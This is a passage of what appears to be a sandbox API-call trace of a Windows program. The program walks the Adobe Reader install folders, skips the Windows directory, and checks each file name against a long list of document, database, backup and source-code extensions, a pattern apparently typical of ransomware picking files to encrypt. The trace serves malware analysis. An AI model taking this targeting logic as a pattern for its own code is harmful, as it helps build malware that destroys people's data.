(lpString=".dqy") returned 4 [0267.498] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0267.498] lstrlenW (lpString=".dsn") returned 4 [0267.498] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0267.498] lstrlenW (lpString=".dt") returned 3 [0267.498] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0267.498] lstrlenW (lpString=".dtd") returned 4 [0267.499] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0267.499] lstrlenW (lpString=".dwg") returned 4 [0267.499] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0267.499] lstrlenW (lpString=".dwt") returned 4 [0267.499] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0267.499] lstrlenW (lpString=".dx") returned 3 [0267.499] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0267.499] lstrlenW (lpString=".dxf") returned 4 [0267.499] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0267.499] lstrlenW (lpString=".edml") returned 5 [0267.499] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0267.499] lstrlenW (lpString=".efd") returned 4 [0267.499] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0267.499] lstrlenW (lpString=".elf") returned 4 [0267.499] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0267.499] lstrlenW (lpString=".emf") returned 4 [0267.499] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0267.499] lstrlenW (lpString=".emz") returned 4 [0267.499] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0267.499] lstrlenW (lpString=".epf") returned 4 [0267.499] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0267.499] lstrlenW (lpString=".eps") returned 4 [0267.499] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0267.500] lstrlenW (lpString=".epsf") returned 5 [0267.500] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0267.500] lstrlenW (lpString=".epsp") returned 5 [0267.500] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0267.500] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0267.500] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0267.500] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0267.500] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0267.500] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0267.500] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0267.500] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0267.501] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0267.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0267.501] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0267.501] FindClose (in: hFindFile=0x3315570 | out: hFindFile=0x3315570) returned 1 [0267.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0267.504] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0267.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4215da0 [0267.504] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\*", lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315770 [0267.505] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0267.505] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jquery.ui.touch-punch", cAlternateFileName="JQUERY~1.TOU")) returned 1 [0267.505] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch") returned 113 [0267.505] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch") returned 1 [0267.505] lstrlenW (lpString="jquery.ui.touch-punch") returned 21 [0267.505] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="jquery.ui.touch-punch") returned -1 [0267.505] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0267.506] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch") returned 113 [0267.506] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\*", lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0267.507] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.507] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.2.2", cAlternateFileName="020A5B~1.2")) returned 1 [0267.508] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2") returned 119 [0267.508] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2") returned 1 [0267.508] lstrlenW (lpString="0.2.2") returned 5 [0267.508] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="0.2.2") returned 1 [0267.508] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0267.508] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2") returned 119 [0267.508] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315670 [0267.508] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0267.508] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jquery.ui.touch-punch.js", cAlternateFileName="JQUERY~1.JS")) returned 1 [0267.509] lstrlenW (lpString="jquery.ui.touch-punch.js") returned 24 [0267.509] lstrlenW (lpString=".1cd") returned 4 [0267.509] lstrcmpiW (lpString1=".1cd", lpString2="h.js") returned -1 [0267.509] lstrlenW (lpString=".3ds") returned 4 [0267.509] lstrcmpiW (lpString1=".3ds", lpString2="h.js") returned -1 [0267.509] lstrlenW (lpString=".3fr") returned 4 [0267.509] lstrcmpiW (lpString1=".3fr", lpString2="h.js") returned -1 [0267.509] lstrlenW (lpString=".3g2") returned 4 [0267.509] lstrcmpiW (lpString1=".3g2", lpString2="h.js") returned -1 [0267.509] lstrlenW (lpString=".3gp") returned 4 [0267.509] lstrcmpiW (lpString1=".3gp", lpString2="h.js") returned -1 [0267.509] lstrlenW (lpString=".7z") returned 3 [0267.509] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0267.509] lstrlenW (lpString=".accda") returned 6 [0267.509] lstrcmpiW (lpString1=".accda", lpString2="nch.js") returned -1 [0267.509] lstrlenW (lpString=".accdb") returned 6 [0267.509] lstrcmpiW (lpString1=".accdb", lpString2="nch.js") returned -1 [0267.509] lstrlenW (lpString=".accdc") returned 6 [0267.509] lstrcmpiW (lpString1=".accdc", lpString2="nch.js") returned -1 [0267.509] lstrlenW (lpString=".accde") returned 6 [0267.509] lstrcmpiW (lpString1=".accde", lpString2="nch.js") returned -1 [0267.510] lstrlenW (lpString=".accdt") returned 6 [0267.510] lstrcmpiW (lpString1=".accdt", lpString2="nch.js") returned -1 [0267.510] lstrlenW (lpString=".accdw") returned 6 [0267.510] lstrcmpiW (lpString1=".accdw", lpString2="nch.js") returned -1 [0267.510] lstrlenW (lpString=".adb") returned 4 [0267.510] lstrcmpiW (lpString1=".adb", lpString2="h.js") returned -1 [0267.510] lstrlenW (lpString=".adp") returned 4 [0267.510] lstrcmpiW (lpString1=".adp", lpString2="h.js") returned -1 [0267.510] lstrlenW (lpString=".ai") returned 3 [0267.510] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0267.510] lstrlenW (lpString=".ai3") returned 4 [0267.510] lstrcmpiW (lpString1=".ai3", lpString2="h.js") returned -1 [0267.510] lstrlenW (lpString=".ai4") returned 4 [0267.510] lstrcmpiW (lpString1=".ai4", lpString2="h.js") returned -1 [0267.510] lstrlenW (lpString=".ai5") returned 4 [0267.510] lstrcmpiW (lpString1=".ai5", lpString2="h.js") returned -1 [0267.510] lstrlenW (lpString=".ai6") returned 4 [0267.510] lstrcmpiW (lpString1=".ai6", lpString2="h.js") returned -1 [0267.510] lstrlenW (lpString=".ai7") returned 4 [0267.510] lstrcmpiW (lpString1=".ai7", lpString2="h.js") returned -1 [0267.510] lstrlenW (lpString=".ai8") returned 4 [0267.510] lstrcmpiW (lpString1=".ai8", lpString2="h.js") returned -1 [0267.510] lstrlenW (lpString=".anim") returned 5 [0267.510] lstrcmpiW (lpString1=".anim", lpString2="ch.js") returned -1 [0267.510] lstrlenW (lpString=".arw") returned 4 [0267.510] lstrcmpiW (lpString1=".arw", lpString2="h.js") returned -1 [0267.510] lstrlenW (lpString=".as") returned 3 [0267.510] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0267.510] lstrlenW (lpString=".asa") returned 4 [0267.511] lstrcmpiW (lpString1=".asa", lpString2="h.js") returned -1 [0267.511] lstrlenW (lpString=".asc") returned 4 [0267.511] lstrcmpiW (lpString1=".asc", lpString2="h.js") returned -1 [0267.511] lstrlenW (lpString=".ascx") returned 5 [0267.511] lstrcmpiW (lpString1=".ascx", lpString2="ch.js") returned -1 [0267.511] lstrlenW (lpString=".asm") returned 4 [0267.511] lstrcmpiW (lpString1=".asm", lpString2="h.js") returned -1 [0267.511] lstrlenW (lpString=".asmx") returned 5 [0267.511] lstrcmpiW (lpString1=".asmx", lpString2="ch.js") returned -1 [0267.511] lstrlenW (lpString=".asp") returned 4 [0267.511] lstrcmpiW (lpString1=".asp", lpString2="h.js") returned -1 [0267.511] lstrlenW (lpString=".aspx") returned 5 [0267.511] lstrcmpiW (lpString1=".aspx", lpString2="ch.js") returned -1 [0267.511] lstrlenW (lpString=".asr") returned 4 [0267.511] lstrcmpiW (lpString1=".asr", lpString2="h.js") returned -1 [0267.511] lstrlenW (lpString=".asx") returned 4 [0267.511] lstrcmpiW (lpString1=".asx", lpString2="h.js") returned -1 [0267.511] lstrlenW (lpString=".avi") returned 4 [0267.511] lstrcmpiW (lpString1=".avi", lpString2="h.js") returned -1 [0267.511] lstrlenW (lpString=".avs") returned 4 [0267.511] lstrcmpiW (lpString1=".avs", lpString2="h.js") returned -1 [0267.511] lstrlenW (lpString=".backup") returned 7 [0267.511] lstrcmpiW (lpString1=".backup", lpString2="unch.js") returned -1 [0267.511] lstrlenW (lpString=".bak") returned 4 [0267.511] lstrcmpiW (lpString1=".bak", lpString2="h.js") returned -1 [0267.511] lstrlenW (lpString=".bay") returned 4 [0267.511] lstrcmpiW (lpString1=".bay", lpString2="h.js") returned -1 [0267.512] lstrlenW (lpString=".bd") returned 3 [0267.512] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0267.512] lstrlenW (lpString=".bin") returned 4 [0267.512] lstrcmpiW (lpString1=".bin", lpString2="h.js") returned -1 [0267.512] lstrlenW (lpString=".bmp") returned 4 [0267.512] lstrcmpiW (lpString1=".bmp", lpString2="h.js") returned -1 [0267.512] lstrlenW (lpString=".bz2") returned 4 [0267.512] lstrcmpiW (lpString1=".bz2", lpString2="h.js") returned -1 [0267.512] lstrlenW (lpString=".c") returned 2 [0267.512] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0267.512] lstrlenW (lpString=".cdr") returned 4 [0267.512] lstrcmpiW (lpString1=".cdr", lpString2="h.js") returned -1 [0267.512] lstrlenW (lpString=".cer") returned 4 [0267.512] lstrcmpiW (lpString1=".cer", lpString2="h.js") returned -1 [0267.512] lstrlenW (lpString=".cf") returned 3 [0267.512] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0267.512] lstrlenW (lpString=".cfc") returned 4 [0267.512] lstrcmpiW (lpString1=".cfc", lpString2="h.js") returned -1 [0267.512] lstrlenW (lpString=".cfm") returned 4 [0267.512] lstrcmpiW (lpString1=".cfm", lpString2="h.js") returned -1 [0267.512] lstrlenW (lpString=".cfml") returned 5 [0267.512] lstrcmpiW (lpString1=".cfml", lpString2="ch.js") returned -1 [0267.512] lstrlenW (lpString=".cfu") returned 4 [0267.512] lstrcmpiW (lpString1=".cfu", lpString2="h.js") returned -1 [0267.512] lstrlenW (lpString=".chm") returned 4 [0267.513] lstrcmpiW (lpString1=".chm", lpString2="h.js") returned -1 [0267.513] lstrlenW (lpString=".cin") returned 4 [0267.513] lstrcmpiW (lpString1=".cin", lpString2="h.js") returned -1 [0267.513] lstrlenW (lpString=".class") returned 6 [0267.513] lstrcmpiW (lpString1=".class", lpString2="nch.js") returned -1 [0267.513] lstrlenW (lpString=".clx") returned 4 [0267.513] lstrcmpiW (lpString1=".clx", lpString2="h.js") returned -1 [0267.513] lstrlenW (lpString=".config") returned 7 [0267.513] lstrcmpiW (lpString1=".config", lpString2="unch.js") returned -1 [0267.513] lstrlenW (lpString=".cpp") returned 4 [0267.513] lstrcmpiW (lpString1=".cpp", lpString2="h.js") returned -1 [0267.513] lstrlenW (lpString=".cr2") returned 4 [0267.513] lstrcmpiW (lpString1=".cr2", lpString2="h.js") returned -1 [0267.513] lstrlenW (lpString=".crt") returned 4 [0267.513] lstrcmpiW (lpString1=".crt", lpString2="h.js") returned -1 [0267.513] lstrlenW (lpString=".crw") returned 4 [0267.513] lstrcmpiW (lpString1=".crw", lpString2="h.js") returned -1 [0267.513] lstrlenW (lpString=".cs") returned 3 [0267.513] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0267.513] lstrlenW (lpString=".css") returned 4 [0267.513] lstrcmpiW (lpString1=".css", lpString2="h.js") returned -1 [0267.513] lstrlenW (lpString=".csv") returned 4 [0267.513] lstrcmpiW (lpString1=".csv", lpString2="h.js") returned -1 [0267.513] lstrlenW (lpString=".cub") returned 4 [0267.514] lstrcmpiW (lpString1=".cub", lpString2="h.js") returned -1 [0267.514] lstrlenW (lpString=".dae") returned 4 [0267.514] lstrcmpiW (lpString1=".dae", lpString2="h.js") returned -1 [0267.514] lstrlenW (lpString=".dat") returned 4 [0267.514] lstrcmpiW (lpString1=".dat", lpString2="h.js") returned -1 [0267.514] lstrlenW (lpString=".db") returned 3 [0267.514] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0267.514] lstrlenW (lpString=".dbf") returned 4 [0267.514] lstrcmpiW (lpString1=".dbf", lpString2="h.js") returned -1 [0267.514] lstrlenW (lpString=".dbx") returned 4 [0267.514] lstrcmpiW (lpString1=".dbx", lpString2="h.js") returned -1 [0267.514] lstrlenW (lpString=".dc3") returned 4 [0267.514] lstrcmpiW (lpString1=".dc3", lpString2="h.js") returned -1 [0267.514] lstrlenW (lpString=".dcm") returned 4 [0267.514] lstrcmpiW (lpString1=".dcm", lpString2="h.js") returned -1 [0267.514] lstrlenW (lpString=".dcr") returned 4 [0267.514] lstrcmpiW (lpString1=".dcr", lpString2="h.js") returned -1 [0267.514] lstrlenW (lpString=".der") returned 4 [0267.514] lstrcmpiW (lpString1=".der", lpString2="h.js") returned -1 [0267.514] lstrlenW (lpString=".dib") returned 4 [0267.514] lstrcmpiW (lpString1=".dib", lpString2="h.js") returned -1 [0267.514] lstrlenW (lpString=".dic") returned 4 [0267.514] lstrcmpiW (lpString1=".dic", lpString2="h.js") returned -1 [0267.514] lstrlenW (lpString=".dif") returned 4 [0267.514] lstrcmpiW (lpString1=".dif", lpString2="h.js") returned -1 [0267.515] lstrlenW (lpString=".divx") returned 5 [0267.515] lstrcmpiW (lpString1=".divx", lpString2="ch.js") returned -1 [0267.515] lstrlenW (lpString=".djvu") returned 5 [0267.515] lstrcmpiW (lpString1=".djvu", lpString2="ch.js") returned -1 [0267.515] lstrlenW (lpString=".dng") returned 4 [0267.515] lstrcmpiW (lpString1=".dng", lpString2="h.js") returned -1 [0267.515] lstrlenW (lpString=".doc") returned 4 [0267.515] lstrcmpiW (lpString1=".doc", lpString2="h.js") returned -1 [0267.515] lstrlenW (lpString=".docm") returned 5 [0267.515] lstrcmpiW (lpString1=".docm", lpString2="ch.js") returned -1 [0267.515] lstrlenW (lpString=".docx") returned 5 [0267.515] lstrcmpiW (lpString1=".docx", lpString2="ch.js") returned -1 [0267.515] lstrlenW (lpString=".dot") returned 4 [0267.515] lstrcmpiW (lpString1=".dot", lpString2="h.js") returned -1 [0267.515] lstrlenW (lpString=".dotm") returned 5 [0267.515] lstrcmpiW (lpString1=".dotm", lpString2="ch.js") returned -1 [0267.515] lstrlenW (lpString=".dotx") returned 5 [0267.515] lstrcmpiW (lpString1=".dotx", lpString2="ch.js") returned -1 [0267.515] lstrlenW (lpString=".dpx") returned 4 [0267.515] lstrcmpiW (lpString1=".dpx", lpString2="h.js") returned -1 [0267.516] lstrlenW (lpString=".dqy") returned 4 [0267.516] lstrcmpiW (lpString1=".dqy", lpString2="h.js") returned -1 [0267.516] lstrlenW (lpString=".dsn") returned 4 [0267.516] lstrcmpiW (lpString1=".dsn", lpString2="h.js") returned -1 [0267.516] lstrlenW (lpString=".dt") returned 3 [0267.516] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0267.516] lstrlenW (lpString=".dtd") returned 4 [0267.516] lstrcmpiW (lpString1=".dtd", lpString2="h.js") returned -1 [0267.516] lstrlenW (lpString=".dwg") returned 4 [0267.516] lstrcmpiW (lpString1=".dwg", lpString2="h.js") returned -1 [0267.516] lstrlenW (lpString=".dwt") returned 4 [0267.516] lstrcmpiW (lpString1=".dwt", lpString2="h.js") returned -1 [0267.516] lstrlenW (lpString=".dx") returned 3 [0267.516] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0267.516] lstrlenW (lpString=".dxf") returned 4 [0267.516] lstrcmpiW (lpString1=".dxf", lpString2="h.js") returned -1 [0267.516] lstrlenW (lpString=".edml") returned 5 [0267.516] lstrcmpiW (lpString1=".edml", lpString2="ch.js") returned -1 [0267.516] lstrlenW (lpString=".efd") returned 4 [0267.516] lstrcmpiW (lpString1=".efd", lpString2="h.js") returned -1 [0267.516] lstrlenW (lpString=".elf") returned 4 [0267.516] lstrcmpiW (lpString1=".elf", lpString2="h.js") returned -1 [0267.517] lstrlenW (lpString=".emf") returned 4 [0267.517] lstrcmpiW (lpString1=".emf", lpString2="h.js") returned -1 [0267.517] lstrlenW (lpString=".emz") returned 4 [0267.517] lstrcmpiW (lpString1=".emz", lpString2="h.js") returned -1 [0267.517] lstrlenW (lpString=".epf") returned 4 [0267.517] lstrcmpiW (lpString1=".epf", lpString2="h.js") returned -1 [0267.517] lstrlenW (lpString=".eps") returned 4 [0267.517] lstrcmpiW (lpString1=".eps", lpString2="h.js") returned -1 [0267.517] lstrlenW (lpString=".epsf") returned 5 [0267.517] lstrcmpiW (lpString1=".epsf", lpString2="ch.js") returned -1 [0267.517] lstrlenW (lpString=".epsp") returned 5 [0267.517] lstrcmpiW (lpString1=".epsp", lpString2="ch.js") returned -1 [0267.517] lstrlenW (lpString=".erf") returned 4 [0267.517] lstrcmpiW (lpString1=".erf", lpString2="h.js") returned -1 [0267.517] lstrlenW (lpString=".exr") returned 4 [0267.518] lstrcmpiW (lpString1=".exr", lpString2="h.js") returned -1 [0267.518] lstrlenW (lpString=".f4v") returned 4 [0267.518] lstrcmpiW (lpString1=".f4v", lpString2="h.js") returned -1 [0267.518] lstrlenW (lpString=".fido") returned 5 [0267.518] lstrcmpiW (lpString1=".fido", lpString2="ch.js") returned -1 [0267.518] lstrlenW (lpString=".flm") returned 4 [0267.518] lstrcmpiW (lpString1=".flm", lpString2="h.js") returned -1 [0267.518] lstrlenW (lpString=".flv") returned 4 [0267.518] lstrcmpiW (lpString1=".flv", lpString2="h.js") returned -1 [0267.518] lstrlenW (lpString=".frm") returned 4 [0267.518] lstrcmpiW (lpString1=".frm", lpString2="h.js") returned -1 [0267.518] lstrlenW (lpString=".fxg") returned 4 [0267.518] lstrcmpiW (lpString1=".fxg", lpString2="h.js") returned -1 [0267.518] lstrlenW (lpString=".geo") returned 4 [0267.518] lstrcmpiW (lpString1=".geo", lpString2="h.js") returned -1 [0267.518] lstrlenW (lpString=".gif") returned 4 [0267.518] lstrcmpiW (lpString1=".gif", lpString2="h.js") returned -1 [0267.518] lstrlenW (lpString=".grs") returned 4 [0267.519] lstrcmpiW (lpString1=".grs", lpString2="h.js") returned -1 [0267.519] lstrlenW (lpString=".gz") returned 3 [0267.519] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0267.519] lstrlenW (lpString=".h") returned 2 [0267.519] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0267.519] lstrlenW (lpString=".hdr") returned 4 [0267.519] lstrcmpiW (lpString1=".hdr", lpString2="h.js") returned -1 [0267.519] lstrlenW (lpString=".hpp") returned 4 [0267.519] lstrcmpiW (lpString1=".hpp", lpString2="h.js") returned -1 [0267.519] lstrlenW (lpString=".hta") returned 4 [0267.519] lstrcmpiW (lpString1=".hta", lpString2="h.js") returned -1 [0267.519] lstrlenW (lpString=".htc") returned 4 [0267.519] lstrcmpiW (lpString1=".htc", lpString2="h.js") returned -1 [0267.519] lstrlenW (lpString=".htm") returned 4 [0267.520] lstrcmpiW (lpString1=".htm", lpString2="h.js") returned -1 [0267.520] lstrlenW (lpString=".html") returned 5 